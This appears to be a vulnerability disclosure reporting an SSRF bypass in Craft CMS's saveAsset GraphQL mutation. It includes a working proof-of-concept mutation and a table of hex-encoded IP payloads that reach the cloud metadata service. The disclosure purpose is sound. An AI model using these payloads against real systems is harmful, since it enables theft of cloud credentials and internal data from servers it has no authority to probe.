Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation
I observed a recent commit
https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
---
## Summary
The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
---
## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
save_images_Asset(_file: {
url: "
http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved
### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |
---
## Technical Details
**File:** `src/gql/resolvers/mutations/Asset.php`
**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
```php
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
```